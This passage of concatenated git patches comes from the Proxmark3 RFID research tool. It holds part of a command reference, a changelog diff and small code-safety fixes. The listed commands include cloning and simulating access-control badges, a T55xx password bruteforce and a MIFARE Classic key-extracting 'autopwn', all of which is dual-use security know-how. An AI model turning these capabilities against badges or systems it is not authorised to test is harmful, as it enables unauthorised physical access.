GraphBuffer` +|`lf keri read `|Y |`Attempt to read and extract tag data from the antenna` +|`lf keri clone `|Y |`clone KERI tag to T55x7 (or to q5/T5555)` +|`lf keri sim `|Y |`simulate KERI tag` + + +### lf nedap + + { Nedap RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf nedap help `|Y |`This help` +|`lf nedap demod `|Y |`Demodulate Nedap tag from the GraphBuffer` +|`lf nedap generate `|Y |`Generate Nedap bitstream in DemodBuffer` +|`lf nedap read `|Y |`Attempt to read and extract tag data from the antenna` +|`lf nedap clone `|Y |`Clone Nedap tag to T55x7` +|`lf nedap sim `|Y |`Simulate Nedap tag` + + +### lf nexwatch + + { NexWatch RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf nexwatch help `|Y |`This help` +|`lf nexwatch demod `|Y |`Demodulate a NexWatch tag (nexkey, quadrakey) from the GraphBuffer` +|`lf nexwatch read `|Y |`Attempt to Read and Extract tag data from the antenna` +|`lf nexwatch clone `|Y |`clone NexWatch tag to T55x7` +|`lf nexwatch sim `|Y |`simulate NexWatch tag` + + +### lf noralsy + + { Noralsy RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf noralsy help `|Y |`This help` +|`lf noralsy demod `|Y |`Demodulate an Noralsy tag from the GraphBuffer` +|`lf noralsy read `|Y |`Attempt to read and extract tag data from the antenna` +|`lf noralsy clone `|Y |`clone Noralsy tag to T55x7 (or to q5/T5555)` +|`lf noralsy sim `|Y |`simulate Noralsy tag` + + +### lf motorola + + { Motorola RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf motorola help `|Y |`This help` +|`lf motorola demod `|Y |`Demodulate an MOTOROLA tag from the GraphBuffer` +|`lf motorola read `|Y |`Attempt to read and extract tag data from the antenna` +|`lf motorola clone `|Y |`clone MOTOROLA tag to T55x7` +|`lf motorola sim `|Y |`simulate MOTOROLA tag` + + +### lf pac + + { PAC/Stanley RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf pac help `|Y |`This help` +|`lf pac demod `|Y |`Demodulate a PAC tag from the GraphBuffer` +|`lf pac read `|Y |`Attempt to read and extract tag data from the antenna` +|`lf pac clone `|Y |`clone PAC tag to T55x7` +|`lf pac sim `|Y |`simulate PAC tag` + + +### lf paradox + + { Paradox RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf paradox help `|Y |`This help` +|`lf paradox demod `|Y |`Demodulate a Paradox FSK tag from the GraphBuffer` +|`lf paradox read `|Y |`Attempt to read and Extract tag data from the antenna` +|`lf paradox clone `|Y |`clone paradox tag to T55x7` +|`lf paradox sim `|Y |`simulate paradox tag` + + +### lf pcf7931 + + { PCF7931 CHIPs... } + +|command |offline |description +|------- |------- |----------- +|`lf pcf7931 help `|Y |`This help` +|`lf pcf7931 read `|Y |`Read content of a PCF7931 transponder` +|`lf pcf7931 write `|Y |`Write data on a PCF7931 transponder.` +|`lf pcf7931 config `|Y |`Configure the password, the tags initialization delay and time offsets (optional)` + + +### lf presco + + { Presco RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf presco help `|Y |`This help` +|`lf presco read `|Y |`Attempt to read and Extract tag data` +|`lf presco clone `|Y |`clone presco tag to T55x7 (or to q5/T5555)` +|`lf presco sim `|Y |`simulate presco tag` + + +### lf pyramid + + { Farpointe/Pyramid RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf pyramid help `|Y |`this help` +|`lf pyramid demod `|Y |`demodulate a Pyramid FSK tag from the GraphBuffer` +|`lf pyramid read `|Y |`attempt to read and extract tag data` +|`lf pyramid clone `|Y |`clone pyramid tag to T55x7 (or to q5/T5555)` +|`lf pyramid sim `|Y |`simulate pyramid tag` + + +### lf securakey + + { Securakey RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf securakey help `|Y |`This help` +|`lf securakey demod `|Y |`Demodulate an Securakey tag from the GraphBuffer` +|`lf securakey read `|Y |`Attempt to read and extract tag data from the antenna` +|`lf securakey clone `|Y |`clone Securakey tag to T55x7` +|`lf securakey sim `|Y |`simulate Securakey tag` + + +### lf ti + + { TI CHIPs... } + +|command |offline |description +|------- |------- |----------- +|`lf ti help `|Y |`This help` +|`lf ti demod `|Y |`Demodulate raw bits for TI-type LF tag from the GraphBuffer` +|`lf ti read `|Y |`Read and decode a TI 134 kHz tag` +|`lf ti write `|Y |`Write new data to a r/w TI 134 kHz tag` + + +### lf t55xx + + { T55xx CHIPs... } + +|command |offline |description +|------- |------- |----------- +|`lf t55xx help `|Y |`This help` +|`lf t55xx bruteforce `|Y |` Simple bruteforce attack to find password` +|`lf t55xx config `|Y |`Set/Get T55XX configuration (modulation, inverted, offset, rate)` +|`lf t55xx chk `|Y |`Check passwords from dictionary/flash` +|`lf t55xx clonehelp `|Y |`Shows the available clone commands` +|`lf t55xx dangerraw `|Y |`Sends raw bitstream. Dangerous, do not use!! b t ` +|`lf t55xx detect `|Y |`[1] Try detecting the tag modulation from reading the configuration block.` +|`lf t55xx deviceconfig `|Y |`Set/Get T55XX device configuration (startgap, writegap, write0, write1, readgap` +|`lf t55xx dump `|Y |`[password] [o] Dump T55xx card Page 0 block 0-7. Optional [password], [override]` +|`lf t55xx restore `|Y |`f [p ] Restore T55xx card Page 0 / Page 1 blocks` +|`lf t55xx info `|Y |`[1] Show T55x7 configuration data (page 0/ blk 0)` +|`lf t55xx p1detect `|Y |`[1] Try detecting if this is a t55xx tag by reading page 1` +|`lf t55xx protect `|Y |`Password protect tag` +|`lf t55xx read `|Y |`b p [password] [o] [1] -- Read T55xx block data. Optional [p password], [override], [page1]` +|`lf t55xx resetread `|Y |`Send Reset Cmd then lf read the stream to attempt to identify the start of it (needs a demod and/or plot after)` +|`lf t55xx recoverpw `|Y |`[password] Try to recover from bad password write from a cloner. Only use on PW protected chips!` +|`lf t55xx special `|Y |`Show block changes with 64 different offsets` +|`lf t55xx trace `|Y |`[1] Show T55x7 traceability data (page 1/ blk 0-1)` +|`lf t55xx wakeup `|Y |`Send AOR wakeup command` +|`lf t55xx wipe `|Y |`[q] Wipe a T55xx tag and set defaults (will destroy any data on tag)` +|`lf t55xx write `|Y |`b d p [password] [1] -- Write T55xx block data. Optional [p password], [page1]` + + +### lf viking + + { Viking RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf viking help `|Y |`This help` +|`lf viking demod `|Y |`Demodulate a Viking tag from the GraphBuffer` +|`lf viking read `|Y |`Attempt to read and Extract tag data from the antenna` +|`lf viking clone `|Y |`clone Viking tag to T55x7 (or to q5/T5555)` +|`lf viking sim `|Y |`simulate Viking tag` + + +### lf visa2000 + + { Visa2000 RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf visa2000 help `|Y |`This help` +|`lf visa2000 demod `|Y |`demodulate an VISA2000 tag from the GraphBuffer` +|`lf visa2000 read `|Y |`attempt to read and extract tag data from the antenna` +|`lf visa2000 clone `|Y |`clone Visa2000 tag to T55x7 (or to q5/T5555)` +|`lf visa2000 sim `|Y |`simulate Visa2000 tag` + + +### mem + + { Flash Memory manipulation... } + +|command |offline |description +|------- |------- |----------- +|`mem help `|Y |`This help` +|`mem spiffs `|Y |`High level SPI FileSystem Flash manipulation [rdv40]` +|`mem spibaud `|Y |`Set Flash memory Spi baudrate [rdv40]` +|`mem info `|Y |`Flash memory information [rdv40]` +|`mem load `|Y |`Load data into flash memory [rdv40]` +|`mem dump `|Y |`Dump data from flash memory [rdv40]` +|`mem wipe `|Y |`Wipe data from flash memory [rdv40]` + + +### reveng + + { CRC calculations from RevEng software } + +### sc + + { Smart card ISO-7816 commands... } + +|command |offline |description +|------- |------- |----------- +|`sc help `|Y |`This help` +|`sc list `|Y |`List ISO 7816 history` +|`sc info `|Y |`Tag information` +|`sc reader `|Y |`Act like an IS07816 reader` +|`sc raw `|Y |`Send raw hex data to tag` +|`sc upgrade `|Y |`Upgrade sim module firmware` +|`sc setclock `|Y |`Set clock speed` +|`sc brute `|Y |`Bruteforce SFI` + + +### script + + { Scripting commands } + +|command |offline |description +|------- |------- |----------- +|`script help `|Y |`This help` +|`script list `|Y |`List available scripts` +|`script run `|Y |` -- Execute a script` + + +### trace + + { Trace manipulation... } + +|command |offline |description +|------- |------- |----------- +|`trace help `|Y |`This help` +|`trace list `|Y |`List protocol data in trace buffer` +|`trace load `|Y |`Load trace from file` +|`trace save `|Y |`Save trace buffer to file` + + +### usart + + { USART commands... } + +|command |offline |description +|------- |------- |----------- +|`usart help `|Y |`This help` +|`usart btpin `|N |`Change BT add-on PIN` +|`usart btfactory `|N |`Reset BT add-on to factory settings` +|`usart tx `|N |`Send string over USART` +|`usart rx `|N |`Receive string over USART` +|`usart txrx `|N |`Send string over USART and wait for response` +|`usart txhex `|N |`Send bytes over USART` +|`usart rxhex `|N |`Receive bytes over USART` +|`usart config `|N |`Configure USART` + + +### wiegand + + { Wiegand format manipulation... } + +|command |offline |description +|------- |------- |----------- +|`wiegand help `|Y |`This help` +|`wiegand list `|Y |`List available wiegand formats` +|`wiegand encode `|Y |`Convert ` +|`wiegand decode `|Y |`Convert raw hex to wiegand format` + + From ea25474731651e049f5c05bab5f4a51f43a9ad0a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 12:56:31 +0100 Subject: [PATCH 239/418] text --- CHANGELOG.md | 53 ++++++++++++++++++++++++++-------------------------- README.md | 2 +- 2 files changed, 28 insertions(+), 27 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 81f5d86d6..6abb5e47b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,23 +3,24 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] - - Added `c ` option to `lf pac clone` to allow cloning PAC/Stanley tag from card ID (@danshuk) - - Added decoded PAC/Stanley card ID to `lf pac read` (@danshuk) - - Chg mifare classic keytable output refactored and uses colors (@iceman1001) + - Add `commands.md` - document with all proxmark client commands. Generated with XX_internal_command_dump_markdown_XX. (@iceman1001) + - Change `lf pac clone` - new option `c ` to allow cloning PAC/Stanley tag from card ID (@danshuk) + - Change `lf pac read` - decoded PAC/Stanley card ID (@danshuk) + - Change mifare classic keytable output refactored and uses colors (@iceman1001) - Fix `hf mf nested` - now writes the correct blockno (@iceman1001) - - Chg `lf t55xx dump` - now supports saving to JSON (@iceman1001) - - Chg `hf mf chk | fchk` faster authentication by lower timeout limit. (@pwpiwi) - - Chg `hf mf hardnested` - now detects "static / fixed" nonce tags and exits (@iceman1001) - - Chg `hf mf csave` - now uses UID in filename (@iceman1001) + - Change `lf t55xx dump` - now supports saving to JSON (@iceman1001) + - Change `hf mf chk | fchk` faster authentication by lower timeout limit. (@pwpiwi) + - Change `hf mf hardnested` - now detects "static / fixed" nonce tags and exits (@iceman1001) + - Change `hf mf csave` - now uses UID in filename (@iceman1001) - Fix `hf mf chk` - read block B logical error. #489 (@iceman1001) - Add `hf mf ekeyprn d` - new parameter to save keys to file (@iceman1001) - Add `mfu_magic.lua` - script to interact with your magic NTAG tag. (@iceman1001) - Add `hf_bruteforce.lua` - script bruteforces uid for 14a using hf 14a sim (@keld) - Add `tools\pm3_cs8.pl` - convert .pm3 files to wave format (@samyk) - Add `tools\pm3_amii_bin2eml.pl` - amiibo convering script (@samyk) - - Chg `hf 14a info` - now detects "static / fixed" nonce tags (@iceman1001) - - Chg `data save f w` - params reworked. (@iceman1001) - - Chg `hf search` - now should detect LTO-CM tags (@iceman1001) + - Change `hf 14a info` - now detects "static / fixed" nonce tags (@iceman1001) + - Change `data save f w` - params reworked. (@iceman1001) + - Change `hf search` - now should detect LTO-CM tags (@iceman1001) - Added `hf lto info` - skeleton support for LTO Cartridge memory (@iceman1001) - Added saving as wave format (@anon) - Added ISO15_WRITE annotation (@pwipiw) @@ -38,8 +39,8 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added polling for felica standard (@7homasSutter) - Added `lf t55xx dump save` and `lf t55xx restore` for .bin and .eml files (@mwalker33) - Added `lf t55xx detected` to try without password first (@mwalker33) - - Chg `lf indala read` - added indala 26bit decoding (@martinbeier) - - Chg `lf t55xx detect` to try without password first (@mwalker33) + - Change `lf indala read` - added indala 26bit decoding (@martinbeier) + - Change `lf t55xx detect` to try without password first (@mwalker33) - Display high bit for detected Kastle HIDs to allow `lf hid clone [id]` to work properly (@swg0101) - Add option `-n` to scripts pm3* (@doegox) - Add `wiegand list/encode/decode` - wiegand format manipulation. Adapted to fit here. (@grauerfuchs) @@ -51,28 +52,28 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fix T55xx config getting displayed when using password when no password needed on read. (@mwalker33) - Added T55x7 downlink mode auto usage via mode detected (lf t55 detect) (@mwalker33) - Add `lf t55xx protect` - sets password and enables password protection on t55x7 tag (@iceman1001) - - Chg `lf t55xx wipe` - now accepts user provided configuration block (@iceman1001) + - Change `lf t55xx wipe` - now accepts user provided configuration block (@iceman1001) - Added T55x7 downlink mode support r 0 Default, 1 Long Leading 0, 2 Leading 0, 3 1 of 4 and 4 (in some commands) try all. (@mwalker33) - - Chg proxmark3-flasher is now merged into proxmark3 client. Add pm3-flash (@doegox) - - Chg `hf iclass clone\dump\rdbl\wrbl` - now uses NG (@iceman1001) + - Change proxmark3-flasher is now merged into proxmark3 client. Add pm3-flash (@doegox) + - Change `hf iclass clone\dump\rdbl\wrbl` - now uses NG (@iceman1001) - Fix `hf iclass clone` - last block always fails (@iceman1001) - - Chg `hf iclass clone` - retries ten times, less output (honor verbose) (@iceman1001) - - Chg `hf iclass dump` - retries ten times, less output (honor verbose) (@iceman1001) + - Change `hf iclass clone` - retries ten times, less output (honor verbose) (@iceman1001) + - Change `hf iclass dump` - retries ten times, less output (honor verbose) (@iceman1001) - Rename `hf iclass writeblk` -> `hf iclass wrbl` to match hf mf wrbl (@iceman1001) - Rename `hf iclass readblk` -> `hf iclass rdbl` to match hf mf rdbl (@iceman1001) - Add cmdscript example and show usage with shebang (@doegox) - Add instructions for Fedora (@doegox) - - Chg reduce the list of requirements to the minimum and move to QT5 (@doegox) + - Change reduce the list of requirements to the minimum and move to QT5 (@doegox) - Add `make install` and reorganize/rename stuffs accordingly (@doegox) - Add searchFile for several types of files (@doegox / @iceman1001) - - Chg posix sh version of mkversion (@doegox) - - Chg remove entirely ncurses, not needed nowadays (@doegox) - - Chg remove deprecated termcap, use ncurses instead (@ZeroChaos-) - - Chg `hf iclass encrypt` - now takes transport key as param. (@iceman1001) - - Chg `hf iclass decrypt` - now takes transport key as param. (@iceman1001) - - Chg `hf mf fchk m` - now secretly dumps card to emul, if all keys are found (@iceman1001) - - Chg history and logfile are now saved into $HOME/.proxmark3/ (@doegox) - - Chg optimization of iclass mac calculations on deviceside (@pwpiwi) + - Change posix sh version of mkversion (@doegox) + - Change remove entirely ncurses, not needed nowadays (@doegox) + - Change remove deprecated termcap, use ncurses instead (@ZeroChaos-) + - Change `hf iclass encrypt` - now takes transport key as param. (@iceman1001) + - Change `hf iclass decrypt` - now takes transport key as param. (@iceman1001) + - Change `hf mf fchk m` - now secretly dumps card to emul, if all keys are found (@iceman1001) + - Change history and logfile are now saved into $HOME/.proxmark3/ (@doegox) + - Change optimization of iclass mac calculations on deviceside (@pwpiwi) - Add `hf mf autopwn` - Autopwn function for Mifare Classic, extract all keys and dump card memory (@matthiaskonrath) - Add Lua paths: look for scripts also in ~/.proxmark/lua{scripts,libs} and /usr/local/share/proxmark3/lua{scripts,libs} (@doegox) - Change Lua directory scripts/ to luascript/ (@doegox) diff --git a/README.md b/README.md index 2c9a129e0..96a8d2693 100644 --- a/README.md +++ b/README.md @@ -21,7 +21,7 @@ |[Notes on external flash](/doc/ext_flash_notes.md)||[EMV](/doc/emv_notes.md)| |[Notes on Termux / Android](/doc/termux_notes.md)||[Troubleshooting](/doc/md/Installation_Instructions/Troubleshooting.md)| |[Notes on wireshark / tracedata](/doc/trace_wireshark_notes.md)||[JTAG](/doc/jtag_notes.md)| -|[Notes on loclass](/doc/loclass_notes.md)||| +|[Notes on loclass](/doc/loclass_notes.md)||[Complete client command set](/doc/commands.md)| |[Notes on paths](/doc/path_notes.md)||| |[Developing standalone mode](/armsrc/Standalone/readme.md)|[Wiki about standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) || |[Donations](#Donations)||| From b98fdedb1867ce42371816b1b3ba54e46f505679 Mon Sep 17 00:00:00 2001 From: Iceman Date: Sat, 4 Jan 2020 12:58:19 +0100 Subject: [PATCH 240/418] Update commands.md --- doc/commands.md | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/doc/commands.md b/doc/commands.md index 50cd0e805..c2fd651f8 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -1,9 +1,4 @@ -[=] Session log /home/iceman/.proxmark3/log_20200104.txt -[+] execute command from commandline: XX_internal_command_dump_markdown_XX - -[=] Using UART port /dev/ttyS7 -[=] Communicating with PM3 over USB-CDC -pm3 --> XX_internal_command_dump_markdown_XX + |command |offline |description |------- |------- |----------- |`help `|Y |`This help. Use ' help' for details of a particular command.` From d938732a39cea90525b75352066264cf0f9de29a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 13:07:45 +0100 Subject: [PATCH 241/418] textual --- doc/commands.md | 9 --------- 1 file changed, 9 deletions(-) diff --git a/doc/commands.md b/doc/commands.md index c2fd651f8..b4980fd41 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -3,7 +3,6 @@ |------- |------- |----------- |`help `|Y |`This help. Use ' help' for details of a particular command.` |`auto `|Y |`Automated detection process for unknown tags` -|` `|Y |`` |`msleep `|Y |`Add a pause in milliseconds` |`rem `|Y |`Add a text line in log file` |`quit `|Y |`` @@ -188,13 +187,11 @@ |command |offline |description |------- |------- |----------- -|`hf felica ----------- General -----------`|Y |`` |`hf felica help `|Y |`This help` |`hf felica list `|Y |`List ISO 18092/FeliCa history` |`hf felica reader `|Y |`Act like an ISO18092/FeliCa reader` |`hf felica sniff `|Y |`Sniff ISO 18092/FeliCa traffic` |`hf felica raw `|Y |`Send raw hex data to tag` -|`hf felica ----------- FeliCa Standard (support in progress) -----------`|Y |`` |`hf felica rqservice `|Y |`verify the existence of Area and Service, and to acquire Key Version.` |`hf felica rqresponse `|Y |`verify the existence of a card and its Mode.` |`hf felica rdunencrypted`|Y |`read Block Data from authentication-not-required Service.` @@ -206,7 +203,6 @@ |`hf felica read `|Y |`read Block Data from authentication-required Service.` |`hf felica rqspecver `|Y |`acquire the version of card OS.` |`hf felica resetmode `|Y |`reset Mode to Mode 0.` -|`hf felica ----------- FeliCa Light -----------`|Y |`` |`hf felica litesim `|Y |` - only reply to poll request` |`hf felica litedump `|Y |`Wait for and try dumping FelicaLite` @@ -277,7 +273,6 @@ |`hf mf chk `|Y |`Check keys` |`hf mf fchk `|Y |`Check keys fast, targets all keys on card` |`hf mf decrypt `|Y |`[nt] [ar_enc] [at_enc] [data] - to decrypt sniff or trace` -|`hf mf ----------- `|Y |`` |`hf mf rdbl `|Y |`Read MIFARE classic block` |`hf mf rdsc `|Y |`Read MIFARE classic sector` |`hf mf dump `|Y |`Dump MIFARE classic tag to binary file` @@ -285,7 +280,6 @@ |`hf mf wrbl `|Y |`Write MIFARE classic block` |`hf mf setmod `|Y |`Set MIFARE Classic EV1 load modulation strength` |`hf mf auth4 `|Y |`ISO14443-4 AES authentication` -|`hf mf ----------- `|Y |`` |`hf mf sim `|Y |`Simulate MIFARE card` |`hf mf eclr `|Y |`Clear simulator memory` |`hf mf eget `|Y |`Get simulator memory block` @@ -294,7 +288,6 @@ |`hf mf esave `|Y |`Save to file emul dump` |`hf mf ecfill `|Y |`Fill simulator memory with help of keys from simulator` |`hf mf ekeyprn `|Y |`Print keys from simulator memory` -|`hf mf ----------- `|Y |`` |`hf mf csetuid `|Y |`Set UID (magic chinese card)` |`hf mf cwipe `|Y |`Wipe card to default UID/Sectors/Keys` |`hf mf csetblk `|Y |`Write block (magic chinese card)` @@ -302,7 +295,6 @@ |`hf mf cgetsc `|Y |`Read sector (magic chinese card)` |`hf mf cload `|Y |`Load dump (magic chinese card)` |`hf mf csave `|Y |`Save dump from magic chinese card into file or emulator` -|`hf mf ----------- `|Y |`` |`hf mf mad `|Y |`Checks and prints MAD` |`hf mf ndef `|Y |`Prints NDEF records from card` |`hf mf ice `|Y |`collect MIFARE Classic nonces to file` @@ -434,7 +426,6 @@ |command |offline |description |------- |------- |----------- |`lf help `|Y |`This help` -|`lf `|Y |`` |`lf config `|Y |`Get/Set config for LF sampling, bit/sample, decimation, frequency` |`lf cmdread `|Y |` <'0' period> <'1' period> ['h' 134] -- Modulate LF reader field to send command before read (all periods in microseconds)` From da6360d123214afa6c8593b5fa84c4f9e9e015e8 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 15:53:09 +0100 Subject: [PATCH 242/418] coverty 263987 --- client/cmdhffelica.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index 734962651..07a1ac18b 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -465,11 +465,11 @@ static void print_rd_noEncrpytion_response(felica_read_without_encryption_respon char *temp = sprint_hex(rd_noCry_resp->block_data, sizeof(rd_noCry_resp->block_data)); char bl_data[256]; - strcpy(bl_data, temp); + strncpy(bl_data, temp, sizeof(bl_data) - 1); char bl_element_number[4]; temp = sprint_hex(rd_noCry_resp->block_element_number, sizeof(rd_noCry_resp->block_element_number)); - strcpy(bl_element_number, temp); + strncpy(bl_element_number, temp, sizeof(bl_element_number) - 1); PrintAndLogEx(INFO, "\t%s\t| %s ", bl_element_number, bl_data); } else { From 110446799c8f72dc13d4d4605a3eadd50405ff40 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 15:55:50 +0100 Subject: [PATCH 243/418] coverty 263981 --- armsrc/felica.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/felica.c b/armsrc/felica.c index 4b1db7f61..91b58d97f 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -588,7 +588,7 @@ void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip) { if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { uint8_t dist = (uint8_t)(AT91C_BASE_SSC->SSC_RHR); Process18092Byte(dist); - if ((MAX(dist & 0xff, dist >> 8) >= 178) && (++trigger_cnt > triggersToSkip)) { + if ((dist >= 178) && (++trigger_cnt > triggersToSkip)) { Dbprintf("triggersToSkip kicked %d", dist); break; } From d39b113b4075ee8afe78d228a8c130cedc071626 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 16:07:57 +0100 Subject: [PATCH 244/418] cppcheck --- client/fileutils.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/client/fileutils.c b/client/fileutils.c index 2710998b5..17b3da4bf 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -618,6 +618,7 @@ int loadFile_safe(const char *preferredName, const char *suffix, void **pdata, s int loadFileEML(const char *preferredName, void *data, size_t *datalen) { if (data == NULL) return PM3_EINVARG; + char *fileName = filenamemcopy(preferredName, ".eml"); if (fileName == NULL) return PM3_EMALLOC; @@ -636,6 +637,8 @@ int loadFileEML(const char *preferredName, void *data, size_t *datalen) { memset(line, 0, sizeof(line)); uint8_t buf[64] = {0x00}; + uint8_t *udata = (uint8_t*)data; + while (!feof(f)) { memset(line, 0, sizeof(line)); @@ -654,7 +657,7 @@ int loadFileEML(const char *preferredName, void *data, size_t *datalen) { int res = param_gethex_to_eol(line, 0, buf, sizeof(buf), &hexlen); if (res == 0 || res == 1) { - memcpy(data + counter, buf, hexlen); + memcpy(udata + counter, buf, hexlen); counter += hexlen; } } @@ -832,10 +835,11 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint16_t *keycnt, size_t startFilePosition, size_t *endFilePosition, bool verbose) { + + if (data == NULL) return PM3_EINVARG; + if (endFilePosition) *endFilePosition = 0; - if (data == NULL) return PM3_EINVARG; - uint16_t vkeycnt = 0; char *path; if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) @@ -845,7 +849,7 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale keylen <<= 1; char line[255]; - + uint16_t vkeycnt = 0; size_t counter = 0; int retval = PM3_SUCCESS; @@ -863,6 +867,8 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale goto out; } } + + uint8_t *udata = (uint8_t*)data; // read file while (!feof(f)) { @@ -895,7 +901,7 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale break; } - if (hex_to_bytes(line, data + counter, keylen >> 1) != (keylen >> 1)) + if (hex_to_bytes(line, udata + counter, keylen >> 1) != (keylen >> 1)) continue; vkeycnt++; From c97775e90775aa5aa65ad481867c1605cbd7085a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 16:16:43 +0100 Subject: [PATCH 245/418] style --- armsrc/string.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/armsrc/string.c b/armsrc/string.c index 4caa027a2..8dbe26808 100644 --- a/armsrc/string.c +++ b/armsrc/string.c @@ -50,8 +50,7 @@ void memxor(uint8_t *dest, uint8_t *src, size_t len) { int strlen(const char *str) { const char *p; - for (p = str; *p != '\0'; ++p) { - } + for (p = str; *p != '\0'; ++p) {}; return p - str; } From 6905cfd5486f5fa26f6f9adb3c21a217c9724f02 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 16:25:31 +0100 Subject: [PATCH 246/418] style --- client/proxmark3.c | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/client/proxmark3.c b/client/proxmark3.c index c28a93396..7beb5196c 100644 --- a/client/proxmark3.c +++ b/client/proxmark3.c @@ -177,10 +177,13 @@ check_script: if (execCommand) { if ((cmd = strmcopy(script_cmd)) != NULL) printprompt = true; + uint16_t len = strlen(script_cmd) + 1; script_cmd += len; + if (script_cmd_len == len - 1) execCommand = false; + script_cmd_len -= len; } else { // exit after exec command @@ -210,8 +213,9 @@ check_script: prompt = PROXPROMPT_USB; else prompt = PROXPROMPT_FPC; - } else + } else { prompt = PROXPROMPT_OFFLINE; + } cmd = readline(prompt); fflush(NULL); } @@ -228,15 +232,20 @@ check_script: } // ltrim size_t off = 0; - while ((cmd[off] != '\0') && isspace(cmd[off])) + while ((cmd[off] != '\0') && isspace(cmd[off])) { off++; - for (size_t i = 0; i < strlen(cmd) - off; i++) + } + + for (size_t i = 0; i < strlen(cmd) - off; i++) { cmd[i] = cmd[i + off]; + } + cmd[strlen(cmd) - off] = '\0'; if (cmd[0] != '\0') { - if (!printprompt) + if (!printprompt) { g_printAndLog = PRINTANDLOG_LOG; + } PrintAndLogEx(NORMAL, "%s%s", prompt, cmd); g_printAndLog = PRINTANDLOG_PRINT | PRINTANDLOG_LOG; @@ -244,8 +253,9 @@ check_script: if (!current_cmdscriptfile()) { HIST_ENTRY *entry = history_get(history_length); // add if not identical to latest recorded cmd - if ((!entry) || (strcmp(entry->line, cmd) != 0)) + if ((!entry) || (strcmp(entry->line, cmd) != 0)) { add_history(cmd); + } } // process cmd int ret = CommandReceived(cmd); @@ -277,6 +287,7 @@ check_script: write_history(my_history_path); free(my_history_path); } + if (cmd) { free(cmd); cmd = NULL; From 4da12a6089d049c52d12d0addac36a05f9a9f1dd Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 16:25:38 +0100 Subject: [PATCH 247/418] style --- client/cmdparser.c | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/client/cmdparser.c b/client/cmdparser.c index 72628f2fb..3f9412374 100644 --- a/client/cmdparser.c +++ b/client/cmdparser.c @@ -174,14 +174,21 @@ int CmdsParse(const command_t Commands[], const char *Cmd) { dumpCommandsRecursive(Commands, 1); return PM3_SUCCESS; } + char cmd_name[128]; - int len = 0; memset(cmd_name, 0, sizeof(cmd_name)); + + int len = 0; + // %n == receives an integer of value equal to the number of chars read so far. + // len = max 127 sscanf(Cmd, "%127s%n", cmd_name, &len); + str_lower(cmd_name); + // Comment if (cmd_name[0] == '#') return PM3_SUCCESS; + int i = 0; while (Commands[i].Name) { if (0 == strcmp(Commands[i].Name, cmd_name)) { @@ -241,8 +248,11 @@ void dumpCommandsRecursive(const command_t cmds[], int markdown) { } while (cmds[i].Name) { - const char *cmd_offline = "N"; + + if ((cmds[i].Name[0] == '-' || strlen(cmds[i].Name) == 0) && ++i) continue; if (cmds[i].Help[0] == '{' && ++i) continue; + + const char *cmd_offline = "N"; if (cmds[i].IsAvailable()) cmd_offline = "Y"; @@ -257,6 +267,8 @@ void dumpCommandsRecursive(const command_t cmds[], int markdown) { // Then, print the categories. These will go into subsections with their own tables while (cmds[i].Name) { + + if ((cmds[i].Name[0] == '-' || strlen(cmds[i].Name) == 0) && ++i) continue; if (cmds[i].Help[0] != '{' && ++i) continue; PrintAndLogEx(NORMAL, "### %s%s\n\n %s\n", parent, cmds[i].Name, cmds[i].Help); From 3b792f8b040d8748f6f9fee9b5f59d6c124717cb Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 16:29:17 +0100 Subject: [PATCH 248/418] safer string copy --- 